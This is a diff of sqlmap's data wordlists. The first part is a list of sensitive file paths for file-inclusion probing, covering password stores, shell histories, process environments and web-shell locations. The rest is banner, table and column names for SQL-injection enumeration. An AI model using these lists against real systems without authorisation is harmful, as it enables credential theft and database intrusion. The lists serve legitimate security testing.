files/postgresql/9.1/data/postgresql.conf +/program files/vidalia bundle/polipo/polipo.conf +/program files/xampp/apache/conf/apache.conf +/program files/xampp/apache/conf/apache2.conf +/program files/xampp/apache/conf/httpd.conf +/root/.bash_config +/root/.bash_history +/root/.bash_logout +/root/.bashrc +/root/.ksh_history +/root/.xauthority +/srv/www/htdos/squirrelmail/config/config.php +/ssl_request_log +/system/library/webobjects/adaptors/apache2.2/apache.conf +/temp/sess_ +/thttpd_log +/tmp/jboss/server/default/conf/jboss-minimal.xml +/tmp/jboss/server/default/conf/jboss-service.xml +/tmp/jboss/server/default/conf/jndi.properties +/tmp/jboss/server/default/conf/log4j.xml +/tmp/jboss/server/default/conf/login-config.xml +/tmp/jboss/server/default/conf/server.log.properties +/tmp/jboss/server/default/conf/standardjaws.xml +/tmp/jboss/server/default/conf/standardjboss.xml +/tmp/jboss/server/default/deploy/jboss-logging.xml +/tmp/jboss/server/default/log/boot.log +/tmp/jboss/server/default/log/server.log +/tmp/access.log +/tmp/sess_ +/usr/apache/conf/httpd.conf +/usr/apache2/conf/httpd.conf +/usr/etc/pure-ftpd.conf +/usr/home/user/lighttpd/lighttpd.conf +/usr/home/user/var/log/apache.log +/usr/home/user/var/log/lighttpd.error.log +/usr/internet/pgsql/data/pg_hba.conf +/usr/internet/pgsql/data/postmaster.log +/usr/lib/cron/log +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/lib/security/mkuser.default +/usr/local/jboss/server/default/conf/jboss-minimal.xml +/usr/local/jboss/server/default/conf/jboss-service.xml +/usr/local/jboss/server/default/conf/jndi.properties +/usr/local/jboss/server/default/conf/log4j.xml +/usr/local/jboss/server/default/conf/login-config.xml +/usr/local/jboss/server/default/conf/server.log.properties +/usr/local/jboss/server/default/conf/standardjaws.xml +/usr/local/jboss/server/default/conf/standardjboss.xml +/usr/local/jboss/server/default/deploy/jboss-logging.xml +/usr/local/jboss/server/default/log/boot.log +/usr/local/jboss/server/default/log/server.log +/usr/local/apache/apache.conf +/usr/local/apache/apache2.conf +/usr/local/apache/conf/access.conf +/usr/local/apache/conf/apache.conf +/usr/local/apache/conf/apache2.conf +/usr/local/apache/conf/httpd.conf +/usr/local/apache/conf/httpd.conf.default +/usr/local/apache/conf/modsec.conf +/usr/local/apache/conf/php.ini +/usr/local/apache/conf/vhosts-custom.conf +/usr/local/apache/conf/vhosts.conf +/usr/local/apache/httpd.conf +/usr/local/apache/logs/access.log +/usr/local/apache/logs/access_log +/usr/local/apache/logs/audit_log +/usr/local/apache/logs/error.log +/usr/local/apache/logs/error_log +/usr/local/apache/logs/lighttpd.error.log +/usr/local/apache/logs/lighttpd.log +/usr/local/apache/logs/mod_jk.log +/usr/local/apache1.3/conf/httpd.conf +/usr/local/apache2/apache.conf +/usr/local/apache2/apache2.conf +/usr/local/apache2/conf/apache.conf +/usr/local/apache2/conf/apache2.conf +/usr/local/apache2/conf/extra/httpd-ssl.conf +/usr/local/apache2/conf/httpd.conf +/usr/local/apache2/conf/modsec.conf +/usr/local/apache2/conf/ssl.conf +/usr/local/apache2/conf/vhosts-custom.conf +/usr/local/apache2/conf/vhosts.conf +/usr/local/apache2/httpd.conf +/usr/local/apache2/logs/access.log +/usr/local/apache2/logs/access_log +/usr/local/apache2/logs/audit_log +/usr/local/apache2/logs/error.log +/usr/local/apache2/logs/error_log +/usr/local/apache2/logs/lighttpd.error.log +/usr/local/apache2/logs/lighttpd.log +/usr/local/apache22/conf/httpd.conf +/usr/local/apache22/httpd.conf +/usr/local/apps/apache/conf/httpd.conf +/usr/local/apps/apache2/conf/httpd.conf +/usr/local/apps/apache22/conf/httpd.conf +/usr/local/cpanel/logs/access_log +/usr/local/cpanel/logs/error_log +/usr/local/cpanel/logs/license_log +/usr/local/cpanel/logs/login_log +/usr/local/cpanel/logs/stats_log +/usr/local/etc/apache/conf/httpd.conf +/usr/local/etc/apache/httpd.conf +/usr/local/etc/apache/vhosts.conf +/usr/local/etc/apache2/conf/httpd.conf +/usr/local/etc/apache2/httpd.conf +/usr/local/etc/apache2/vhosts.conf +/usr/local/etc/apache22/conf/httpd.conf +/usr/local/etc/apache22/httpd.conf +/usr/local/etc/httpd/conf +/usr/local/etc/httpd/conf/httpd.conf +/usr/local/etc/lighttpd.conf +/usr/local/etc/lighttpd.conf.new +/usr/local/etc/nginx/nginx.conf +/usr/local/etc/php.ini +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/etc/smb.conf +/usr/local/etc/webmin/miniserv.conf +/usr/local/etc/webmin/miniserv.users +/usr/local/httpd/conf/httpd.conf +/usr/local/jakarta/dist/tomcat/conf/context.xml +/usr/local/jakarta/dist/tomcat/conf/jakarta.conf +/usr/local/jakarta/dist/tomcat/conf/logging.properties +/usr/local/jakarta/dist/tomcat/conf/server.xml +/usr/local/jakarta/dist/tomcat/conf/workers.properties +/usr/local/jakarta/dist/tomcat/logs/mod_jk.log +/usr/local/jakarta/tomcat/conf/context.xml +/usr/local/jakarta/tomcat/conf/jakarta.conf +/usr/local/jakarta/tomcat/conf/logging.properties +/usr/local/jakarta/tomcat/conf/server.xml +/usr/local/jakarta/tomcat/conf/workers.properties +/usr/local/jakarta/tomcat/logs/catalina.err +/usr/local/jakarta/tomcat/logs/catalina.out +/usr/local/jakarta/tomcat/logs/mod_jk.log +/usr/local/lib/php.ini +/usr/local/lighttpd/conf/lighttpd.conf +/usr/local/lighttpd/log/access.log +/usr/local/lighttpd/log/lighttpd.error.log +/usr/local/logs/access.log +/usr/local/logs/samba.log +/usr/local/lsws/conf/httpd_conf.xml +/usr/local/lsws/logs/error.log +/usr/local/mysql/data/mysql-bin.index +/usr/local/mysql/data/mysql-bin.log +/usr/local/mysql/data/mysql-slow.log +/usr/local/mysql/data/mysql.err +/usr/local/mysql/data/mysql.log +/usr/local/mysql/data/mysqlderror.log +/usr/local/nginx/conf/nginx.conf +/usr/local/pgsql/bin/pg_passwd +/usr/local/pgsql/data/passwd +/usr/local/pgsql/data/pg_hba.conf +/usr/local/pgsql/data/pg_log +/usr/local/pgsql/data/postgresql.conf +/usr/local/pgsql/data/postgresql.log +/usr/local/php/apache.conf +/usr/local/php/apache.conf.php +/usr/local/php/apache2.conf +/usr/local/php/apache2.conf.php +/usr/local/php/httpd.conf +/usr/local/php/httpd.conf.php +/usr/local/php/lib/php.ini +/usr/local/php4/apache.conf +/usr/local/php4/apache.conf.php +/usr/local/php4/apache2.conf +/usr/local/php4/apache2.conf.php +/usr/local/php4/httpd.conf +/usr/local/php4/httpd.conf.php +/usr/local/php4/lib/php.ini +/usr/local/php5/apache.conf +/usr/local/php5/apache.conf.php +/usr/local/php5/apache2.conf +/usr/local/php5/apache2.conf.php +/usr/local/php5/httpd.conf +/usr/local/php5/httpd.conf.php +/usr/local/php5/lib/php.ini +/usr/local/psa/admin/conf/php.ini +/usr/local/psa/admin/conf/site_isolation_settings.ini +/usr/local/psa/admin/htdocs/domains/databases/phpmyadmin/libraries/config.default.php +/usr/local/psa/admin/logs/httpsd_access_log +/usr/local/psa/admin/logs/panel.log +/usr/local/pureftpd/etc/pure-ftpd.conf +/usr/local/pureftpd/etc/pureftpd.pdb +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/samba/lib/log.user +/usr/local/samba/lib/smb.conf.user +/usr/local/sb/config +/usr/local/squirrelmail/www/readme +/usr/local/zend/etc/php.ini +/usr/local/zeus/web/global.cfg +/usr/local/zeus/web/log/errors +/usr/pkg/etc/httpd/httpd-default.conf +/usr/pkg/etc/httpd/httpd-vhosts.conf +/usr/pkg/etc/httpd/httpd.conf +/usr/pkgsrc/net/pureftpd/pure-ftpd.conf +/usr/pkgsrc/net/pureftpd/pureftpd.passwd +/usr/pkgsrc/net/pureftpd/pureftpd.pdb +/usr/ports/contrib/pure-ftpd/pure-ftpd.conf +/usr/ports/contrib/pure-ftpd/pureftpd.passwd +/usr/ports/contrib/pure-ftpd/pureftpd.pdb +/usr/ports/ftp/pure-ftpd/pure-ftpd.conf +/usr/ports/ftp/pure-ftpd/pureftpd.passwd +/usr/ports/ftp/pure-ftpd/pureftpd.pdb +/usr/ports/net/pure-ftpd/pure-ftpd.conf +/usr/ports/net/pure-ftpd/pureftpd.passwd +/usr/ports/net/pure-ftpd/pureftpd.pdb +/usr/sbin/mudlogd +/usr/sbin/mudpasswd +/usr/sbin/pure-config.pl +/usr/share/adduser/adduser.conf +/usr/share/logs/catalina.err +/usr/share/logs/catalina.out +/usr/share/squirrelmail/config/config.php +/usr/share/squirrelmail/plugins/squirrel_logger/setup.php +/usr/share/tomcat/logs/catalina.err +/usr/share/tomcat/logs/catalina.out +/usr/share/tomcat6/conf/context.xml +/usr/share/tomcat6/conf/logging.properties +/usr/share/tomcat6/conf/server.xml +/usr/share/tomcat6/conf/workers.properties +/usr/share/tomcat6/logs/catalina.err +/usr/share/tomcat6/logs/catalina.out +/usr/spool/lp/log +/usr/spool/mqueue/syslog +/var/adm/acct/sum/loginlog +/var/adm/aculog +/var/adm/aculogs +/var/adm/crash/unix +/var/adm/crash/vmcore +/var/adm/cron/log +/var/adm/dtmp +/var/adm/lastlog/username +/var/adm/log/asppp.log +/var/adm/log/xferlog +/var/adm/loginlog +/var/adm/lp/lpd-errs +/var/adm/messages +/var/adm/pacct +/var/adm/qacct +/var/adm/ras/bootlog +/var/adm/ras/errlog +/var/adm/sulog +/var/adm/syslog +/var/adm/utmp +/var/adm/utmpx +/var/adm/vold.log +/var/adm/wtmp +/var/adm/wtmpx +/var/adm/x0msgs +/var/apache/conf/httpd.conf +/var/cpanel/cpanel.config +/var/cpanel/tomcat.options +/var/cron/log +/var/data/mysql-bin.index +/var/lib/mysql/my.cnf +/var/lib/pgsql/data/postgresql.conf +/var/lib/squirrelmail/prefs/squirrelmail.log +/var/lighttpd.log +/var/local/www/conf/php.ini +/var/log/access.log +/var/log/access_log +/var/log/apache/access.log +/var/log/apache/access_log +/var/log/apache/error.log +/var/log/apache/error_log +/var/log/apache2/access.log +/var/log/apache2/access_log +/var/log/apache2/error.log +/var/log/apache2/error_log +/var/log/apache2/squirrelmail.err.log +/var/log/apache2/squirrelmail.log +/var/log/auth.log +/var/log/auth.log +/var/log/authlog +/var/log/boot.log +/var/log/cron/var/log/postgres.log +/var/log/daemon.log +/var/log/daemon.log.1 +/var/log/data/mysql-bin.index +/var/log/error.log +/var/log/error_log +/var/log/exim/mainlog +/var/log/exim/paniclog +/var/log/exim/rejectlog +/var/log/exim_mainlog +/var/log/exim_paniclog +/var/log/exim_rejectlog +/var/log/ftp-proxy +/var/log/ftp-proxy/ftp-proxy.log +/var/log/ftplog +/var/log/httpd/access.log +/var/log/httpd/access_log +/var/log/httpd/error.log +/var/log/httpd/error_log +/var/log/ipfw +/var/log/ipfw.log +/var/log/ipfw.today +/var/log/ipfw/ipfw.log +/var/log/kern.log +/var/log/kern.log.1 +/var/log/lighttpd.access.log +/var/log/lighttpd.error.log +/var/log/lighttpd/access.log +/var/log/lighttpd/access.www.log +/var/log/lighttpd/error.log +/var/log/lighttpd/error.www.log +/var/log/log.smb +/var/log/mail.err +/var/log/mail.info +/var/log/mail.log +/var/log/mail.log +/var/log/mail.warn +/var/log/maillog +/var/log/messages +/var/log/messages.1 +/var/log/muddleftpd +/var/log/muddleftpd.conf +/var/log/mysql-bin.index +/var/log/mysql.err +/var/log/mysql.log +/var/log/mysql/data/mysql-bin.index +/var/log/mysql/mysql-bin.index +/var/log/mysql/mysql-bin.log +/var/log/mysql/mysql-slow.log +/var/log/mysql/mysql.log +/var/log/mysqlderror.log +/var/log/news.all +/var/log/news/news.all +/var/log/news/news.crit +/var/log/news/news.err +/var/log/news/news.notice +/var/log/news/suck.err +/var/log/news/suck.notice +/var/log/nginx.access_log +/var/log/nginx.error_log +/var/log/nginx/access.log +/var/log/nginx/access_log +/var/log/nginx/error.log +/var/log/nginx/error_log +/var/log/pgsql/pgsql.log +/var/log/pgsql8.log +/var/log/pgsql_log +/var/log/pm-powersave.log +/var/log/poplog +/var/log/postgres/pg_backup.log +/var/log/postgres/postgres.log +/var/log/postgresql.log +/var/log/postgresql/main.log +/var/log/postgresql/postgres.log +/var/log/postgresql/postgresql-8.1-main.log +/var/log/postgresql/postgresql-8.3-main.log +/var/log/postgresql/postgresql-8.4-main.log +/var/log/postgresql/postgresql-9.0-main.log +/var/log/postgresql/postgresql-9.1-main.log +/var/log/postgresql/postgresql.log +/var/log/proftpd +/var/log/proftpd.access_log +/var/log/proftpd.xferlog +/var/log/proftpd/xferlog.legacy +/var/log/pure-ftpd/pure-ftpd.log +/var/log/pureftpd.log +/var/log/samba.log +/var/log/samba.log1 +/var/log/samba.log2 +/var/log/samba/log.nmbd +/var/log/samba/log.smbd +/var/log/squirrelmail.log +/var/log/sso/sso.log +/var/log/sw-cp-server/error_log +/var/log/syslog +/var/log/syslog.1 +/var/log/thttpd_log +/var/log/tomcat6/catalina.out +/var/log/ufw.log +/var/log/user.log +/var/log/user.log.1 +/var/log/vmware/hostd-1.log +/var/log/vmware/hostd.log +/var/log/vsftpd.log +/var/log/webmin/miniserv.log +/var/log/xferlog +/var/log/xorg.0.log +/var/logs/access.log +/var/lp/logs/lpnet +/var/lp/logs/lpsched +/var/lp/logs/requests +/var/mysql-bin.index +/var/mysql.log +/var/nm2/postgresql.conf +/var/postgresql/db/postgresql.conf +/var/postgresql/log/postgresql.log +/var/saf/_log +/var/saf/port/log +/var/www/.lighttpdpassword +/var/www/conf +/var/www/conf/httpd.conf +/var/www/html/squirrelmail-1.2.9/config/config.php +/var/www/html/squirrelmail/config/config.php +/var/www/logs/access.log +/var/www/logs/access_log +/var/www/logs/error.log +/var/www/logs/error_log +/var/www/squirrelmail/config/config.php +/volumes/macintosh_hd1/opt/apache/conf/httpd.conf +/volumes/macintosh_hd1/opt/apache2/conf/httpd.conf +/volumes/macintosh_hd1/opt/httpd/conf/httpd.conf +/volumes/macintosh_hd1/usr/local/php/httpd.conf.php +/volumes/macintosh_hd1/usr/local/php/lib/php.ini +/volumes/macintosh_hd1/usr/local/php4/httpd.conf.php +/volumes/macintosh_hd1/usr/local/php5/httpd.conf.php +/volumes/webbackup/opt/apache2/conf/httpd.conf +/volumes/webbackup/private/etc/httpd/httpd.conf +/volumes/webbackup/private/etc/httpd/httpd.conf.default +/wamp/bin/apache/apache2.2.21/conf/httpd.conf +/wamp/bin/apache/apache2.2.21/logs/access.log +/wamp/bin/apache/apache2.2.21/logs/error.log +/wamp/bin/apache/apache2.2.21/wampserver.conf +/wamp/bin/apache/apache2.2.22/conf/httpd.conf +/wamp/bin/apache/apache2.2.22/conf/wampserver.conf +/wamp/bin/apache/apache2.2.22/logs/access.log +/wamp/bin/apache/apache2.2.22/logs/error.log +/wamp/bin/apache/apache2.2.22/wampserver.conf +/wamp/bin/mysql/mysql5.5.16/data/mysql-bin.index +/wamp/bin/mysql/mysql5.5.16/my.ini +/wamp/bin/mysql/mysql5.5.16/wampserver.conf +/wamp/bin/mysql/mysql5.5.24/data/mysql-bin.index +/wamp/bin/mysql/mysql5.5.24/my.ini +/wamp/bin/mysql/mysql5.5.24/wampserver.conf +/wamp/bin/php/php5.3.8/php.ini +/wamp/bin/php/php5.4.3/php.ini +/wamp/logs/access.log +/wamp/logs/apache_error.log +/wamp/logs/genquery.log +/wamp/logs/mysql.log +/wamp/logs/slowquery.log +/web/conf/php.ini +/windows/comsetup.log +/windows/debug/netsetup.log +/windows/odbc.ini +/windows/php.ini +/windows/repair/setup.log +/windows/setupact.log +/windows/setupapi.log +/windows/setuperr.log +/windows/win.ini +/windows/system32/drivers/etc/hosts +/windows/system32/drivers/etc/lmhosts.sam +/windows/system32/drivers/etc/networks +/windows/system32/drivers/etc/protocol +/windows/system32/drivers/etc/services +/windows/system32/logfiles/firewall/pfirewall.log +/windows/system32/logfiles/firewall/pfirewall.log.old +/windows/system32/logfiles/msftpsvc +/windows/system32/logfiles/msftpsvc1 +/windows/system32/logfiles/msftpsvc2 +/windows/system32/logfiles/smtpsvc +/windows/system32/logfiles/smtpsvc1 +/windows/system32/logfiles/smtpsvc2 +/windows/system32/logfiles/smtpsvc3 +/windows/system32/logfiles/smtpsvc4 +/windows/system32/logfiles/smtpsvc5 +/windows/system32/logfiles/w3svc/inetsvn1.log +/windows/system32/logfiles/w3svc1/inetsvn1.log +/windows/system32/logfiles/w3svc2/inetsvn1.log +/windows/system32/logfiles/w3svc3/inetsvn1.log +/windows/system32/macromed/flash/flashinstall.log +/windows/system32/macromed/flash/install.log +/windows/updspapi.log +/windows/windowsupdate.log +/windows/wmsetup.log +/winnt/php.ini +/winnt/system32/logfiles/firewall/pfirewall.log +/winnt/system32/logfiles/firewall/pfirewall.log.old +/winnt/system32/logfiles/msftpsvc +/winnt/system32/logfiles/msftpsvc1 +/winnt/system32/logfiles/msftpsvc2 +/winnt/system32/logfiles/smtpsvc +/winnt/system32/logfiles/smtpsvc1 +/winnt/system32/logfiles/smtpsvc2 +/winnt/system32/logfiles/smtpsvc3 +/winnt/system32/logfiles/smtpsvc4 +/winnt/system32/logfiles/smtpsvc5 +/winnt/system32/logfiles/w3svc/inetsvn1.log +/winnt/system32/logfiles/w3svc1/inetsvn1.log +/winnt/system32/logfiles/w3svc2/inetsvn1.log +/winnt/system32/logfiles/w3svc3/inetsvn1.log +/www/apache/conf/httpd.conf +/www/conf/httpd.conf +/www/logs/freebsddiary-access_log +/www/logs/freebsddiary-error.log +/www/logs/proftpd.system.log +/xampp/apache/bin/php.ini +/xampp/apache/conf/httpd.conf +/xampp/apache/logs/access.log +/xampp/apache/logs/error.log +/xampp/filezillaftp/filezilla server.xml +/xampp/htdocs/aca.txt +/xampp/htdocs/admin.php +/xampp/htdocs/leer.txt +/xampp/mercurymail/mercury.ini +/xampp/mysql/data/mysql-bin.index +/xampp/mysql/data/mysql.err +/xampp/php/php.ini +/xampp/phpmyadmin/config.inc.php +/xampp/sendmail/sendmail.ini +/xampp/sendmail/sendmail.log +/xampp/webalizer/webalizer.conf +\autoexec.bat +\boot.ini +\inetpub\wwwroot\web.config +\web.config +\windows\system32\drivers\etc\hosts +\windows\win.ini + +# Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt + +/etc/apache2/.htpasswd +/etc/apache/.htpasswd +/etc/master.passwd +/etc/muddleftpd/muddleftpd.passwd +/etc/muddleftpd/passwd +/etc/passwd +/etc/passwd~ +/etc/passwd- +/etc/pureftpd.passwd +/etc/samba/private/smbpasswd +/etc/samba/smbpasswd +/etc/security/opasswd +/etc/security/passwd +/etc/smbpasswd +\Program Files\xampp\apache\conf\httpd.conf +/usr/local/pgsql/bin/pg_passwd +/usr/local/pgsql/data/passwd +/usr/pkgsrc/net/pureftpd/pureftpd.passwd +/usr/ports/contrib/pure-ftpd/pureftpd.passwd +/usr/ports/ftp/pure-ftpd/pureftpd.passwd +/usr/ports/net/pure-ftpd/pureftpd.passwd +/var/log/exim_rejectlog/etc/passwd +/etc/mysql/conf.d/old_passwords.cnf +/etc/password.master +/var/www/.lighttpdpassword +/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf +/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf +/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf +/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php +/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php +/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php +/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini +/Volumes/webBackup/opt/apache2/conf/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf.default + +# Reference: https://pastebin.com/KgPsDXjg + +/etc/passwd +/etc/crontab +/etc/hosts +/etc/my.cnf +/etc/.htpasswd +/root/.bash_history +/etc/named.conf +/proc/self/environ +/etc/php.ini +/bin/php.ini +/etc/httpd/php.ini +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/local/etc/php.ini +/usr/local/lib/php.ini +/usr/local/php/lib/php.ini +/usr/local/php4/lib/php.ini +/usr/local/php5/lib/php.ini +/usr/local/apache/conf/php.ini +/etc/php4.4/fcgi/php.ini +/etc/php4/apache/php.ini +/etc/php4/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php5/apache2/php.ini +/etc/php/7.4/apache2/php.ini +/etc/php/php.ini +/usr/local/apache/conf/modsec.conf +/var/cpanel/cpanel.config +/proc/self/environ +/proc/self/fd/2 +/etc/ssh/sshd_config +/var/lib/mysql/my.cnf +/etc/mysql/my.cnf +/etc/my.cnf +/etc/logrotate.d/proftpd +/www/logs/proftpd.system.log +/var/log/proftpd +/etc/proftp.conf +/etc/protpd/proftpd.conf +/etc/vhcs2/proftpd/proftpd.conf +/etc/proftpd/modules.conf +/etc/vsftpd.chroot_list +/etc/vsftpd/vsftpd.conf +/etc/vsftpd.conf +/etc/chrootUsers +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/usr/sbin/pure-config.pl +/usr/etc/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.conf +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/pureftpd/etc/pureftpd.pdb +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/pureftpd/etc/pure-ftpd.conf +/etc/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pureftpd.pdb +/etc/pureftpd.passwd +/etc/pure-ftpd/pureftpd.pdb +/var/log/ftp-proxy +/etc/logrotate.d/ftp +/etc/ftpchroot +/etc/ftphosts +/etc/smbpasswd +/etc/smb.conf +/etc/samba/smb.conf +/etc/samba/samba.conf +/etc/samba/smb.conf.user +/etc/samba/smbpasswd +/etc/samba/smbusers +/var/lib/pgsql/data/postgresql.conf +/var/postgresql/db/postgresql.conf +/etc/ipfw.conf +/etc/firewall.rules +/etc/ipfw.rules +/usr/local/etc/webmin/miniserv.conf +/etc/webmin/miniserv.conf +/usr/local/etc/webmin/miniserv.users +/etc/webmin/miniserv.users +/etc/squirrelmail/config/config.php +/etc/squirrelmail/config.php +/etc/httpd/conf.d/squirrelmail.conf +/usr/share/squirrelmail/config/config.php +/private/etc/squirrelmail/config/config.php +/srv/www/htdos/squirrelmail/config/config.php + +# Web shells + +/var/www/html/backdoor.php +/var/www/html/b374k.php +/var/www/html/c99.php +/var/www/html/cmd.php +/var/www/html/r57.php +/var/www/html/shell.php +/var/www/html/wso.php + +# Misc + +/app/app.js +/app/configure.js +/app/config/config.json +/etc/grafana/grafana.ini +/opt/kibana/config/kibana.yml +/etc/kibana/kibana.yml +/etc/elasticsearch/elasticsearch.yml diff --git a/txt/common-outputs.txt b/data/txt/common-outputs.txt similarity index 91% rename from txt/common-outputs.txt rename to data/txt/common-outputs.txt index 874bd83e27f..bd5061b8bf7 100644 --- a/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission [Banners] @@ -12,7 +12,17 @@ 5.1. 5.5. 5.6. +5.7. 6.0. +8.0. +8.1. +8.2. +8.3. +8.4. +9.0. +9.1. +9.2. +9.3. # PostgreSQL PostgreSQL 7.0 @@ -30,6 +40,17 @@ PostgreSQL 9.0 PostgreSQL 9.1 PostgreSQL 9.2 PostgreSQL 9.3 +PostgreSQL 9.4 +PostgreSQL 9.5 +PostgreSQL 9.6 +PostgreSQL 10. +PostgreSQL 11. +PostgreSQL 12. +PostgreSQL 13. +PostgreSQL 14. +PostgreSQL 15. +PostgreSQL 16. +PostgreSQL 17. # Oracle Oracle Database 9i Standard Edition Release @@ -49,12 +70,25 @@ Oracle Database 11g Express Edition Release Oracle Database 11g Express Edition Release 11. Oracle Database 11g Enterprise Edition Release Oracle Database 11g Enterprise Edition Release 11. +Oracle Database 12c +Oracle Database 18c +Oracle Database 19c +Oracle Database 21c +Oracle Database 23ai +Oracle Database 26ai # Microsoft SQL Server Microsoft SQL Server 7.0 Microsoft SQL Server 2000 Microsoft SQL Server 2005 Microsoft SQL Server 2008 +Microsoft SQL Server 2012 +Microsoft SQL Server 2014 +Microsoft SQL Server 2016 +Microsoft SQL Server 2017 +Microsoft SQL Server 2019 +Microsoft SQL Server 2022 +Microsoft SQL Server 2025 [Users] @@ -384,6 +418,7 @@ XDBWEBSERVICES # MySQL information_schema +performance_schema mysql phpmyadmin @@ -404,6 +439,10 @@ ReportServer ReportServerTempDB tempdb +# Cloud Defaults +rdsadmin +innodb +azure_maintenance [Tables] @@ -472,6 +511,44 @@ pma_relation pma_table_coords pma_table_info +# Wordpress +wp_users +wp_posts +wp_comments +wp_options +wp_postmeta +wp_terms +wp_term_taxonomy +wp_term_relationships +wp_links +wp_commentmeta + +# WooCommerce +wp_woocommerce_sessions +wp_woocommerce_api_keys +wp_woocommerce_attribute_taxonomies + +# Magento +catalog_product_entity +sales_order +sales_order_item +customer_entity +quote + +# Drupal +node +users +field_data_body +field_revision_body +taxonomy_term_data +taxonomy_vocabulary + +# Joomla +joomla_users +joomla_content +joomla_categories +joomla_modules + # PostgreSQL pg_aggregate pg_am @@ -485,6 +562,8 @@ pg_cast pg_class pg_constraint pg_conversion +pg_cron_job +pg_cron_job_run_detail pg_database pg_depend pg_description @@ -506,6 +585,7 @@ pg_rewrite pg_shdepend pg_shdescription pg_statistic +pg_stat_statements pg_tablespace pg_trigger pg_ts_config @@ -1038,6 +1118,29 @@ vVendor WorkOrder WorkOrderRouting +# Common tables + +accounts +admin +audit +backup +config +configuration +customers +data +files +history +images +log +logs +members +messages +orders +products +settings +test +tokens +uploads [Columns] @@ -1178,3 +1281,52 @@ smallint text time timestamp + +# Common columns +active +address +admin +blocked +category_id +city +confirmed +country +created_at +created_on +customer_id +deleted +deleted_at +dob +email +enabled +first_name +flag +gender +hidden +is_active +is_deleted +is_published +last_name +locked +login +modified_on +name +order_id +password +phone +private +product_id +public +role +salt +state +status +timestamp +token +type +updated_at +user_id +username +visible +zip +zip_code diff --git a/txt/common-tables.txt b/data/txt/common-tables.txt similarity index 82% rename from txt/common-tables.txt rename to data/txt/common-tables.txt index 0067d971675..855593c6af3 100644 --- a/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission users @@ -218,32 +218,23 @@ delivery_quality queries identification friends -vcd_Screenshots PERSON course_section -vcd_PornCategories -pma_history jiveRemoteServerConf channels object chip_layout -osc_products_options_values_to_products_options login user_newtalk -vcd_MetaDataTypes entrants Device imageInfo developers -div_experiment items_template defaults osc_products -vcd_MetaData mucRoomProp -QRTZ_JOB_DETAILS settings -pma_bookmark DEPENDENT imageCategoryList islandIn @@ -254,7 +245,6 @@ wp_posts package mucRoom vendortax -vcd_Comments attrs config_seq company @@ -262,18 +252,13 @@ register checksum_results ENROLLMENT operation -primarytest -vcd_CoverTypes binaries COURSE_SECTION Students func enrollment -pma_table_coords readers action_element -vcd_VcdToPornstars -osc_categories_description friend_statuses Domain servers @@ -284,33 +269,26 @@ resources mixins sys_options_cats licenses -pma_relation SIGNON clients Apply -vcd_CoversAllowedOnMediatypes ThumbnailKeyword form_definition_text -vcd_Log system jiveOffline tickers BANNERDATA mucAffiliation -fk_test_has_pk rooms objectcache collection_item_count -div_stock_parent jiveRoster Volume lookup investigator math jivePrivate -vcd_UserWishList osc_manufacturers_info -primarytest2 PROFILE categories_posts Flight @@ -322,64 +300,44 @@ client cv_country_synonyms osc_categories interwiki -logtest archive members_networks -vcd_MovieCategories language_text UserType friend -div_annotation_type osc_products_description osc_products_to_categories -QRTZ_PAUSED_TRIGGER_GRPS article recentchanges -vcd_UserLoans media -vcd_SourceSites conducts sales CurrentUsers Country -vcd_IMDB -vcd_Borrowers querycache Publication Pilot -div_stock Regions DEPT_LOCATIONS -vcd_Users master_table -vcd_VcdToUsers funny_jokes jos_vm_payment_method -vcd_UserProperties osc_products_images specialty -pma_pdf_pages visits -div_allele_assay -vcd_MediaTypes ipblocks WidgetPrices -form_definition_version_text experiment Publisher control protocol_action jivePrivacyList -vcd_VcdToPornStudios subImageInfo plugin_sid message_statuses state GalleryThumb hitcounter -vcd_Pornstars -QRTZ_BLOB_TRIGGERS -div_generation jiveGroupProp ingredients community_item_count @@ -387,13 +345,9 @@ jiveExtComponentConf SEQUENCE Continent rights -div_statistic_type Path osc_manufacturers logging -colnametests -QRTZ_FIRED_TRIGGERS -div_locality sailors Description warehouse @@ -406,54 +360,41 @@ CUSTOMERS jiveProperty app_user keyboards -div_unit_of_measure categorylinks grants Action -div_trait -div_trait_uom WidgetReferences product_type developers_projects userAttribute -vcd_Sessions form_data_archive -vcd_PornStudios action_attribute Thumbnail jiveGroupUser computers -QRTZ_LOCKS -vcd_PropertiesToUser customertax sector networks columns_priv globals -div_obs_unit_sample Widgets TERM salgrade -div_passport -vcd_UserRoles mucMember imagelinks exchange Status WORKS_ON lines -booleantests -QRTZ_SIMPLE_TRIGGERS +testusers mobile_menu staff -vcd_VcdToPornCategories tblusers hashes partner Product personnel ads -vcd_Covers osc_specials Keyword supplier @@ -461,61 +402,45 @@ agent_specialty pokes profile_pictures oldimage -div_poly_type -osc_products_attributes_download -div_allele isMember -vcd_Images userImageRating detail_table osc_products_attributes -pma_table_info officer -div_obs_unit -vcd_Settings COURSE 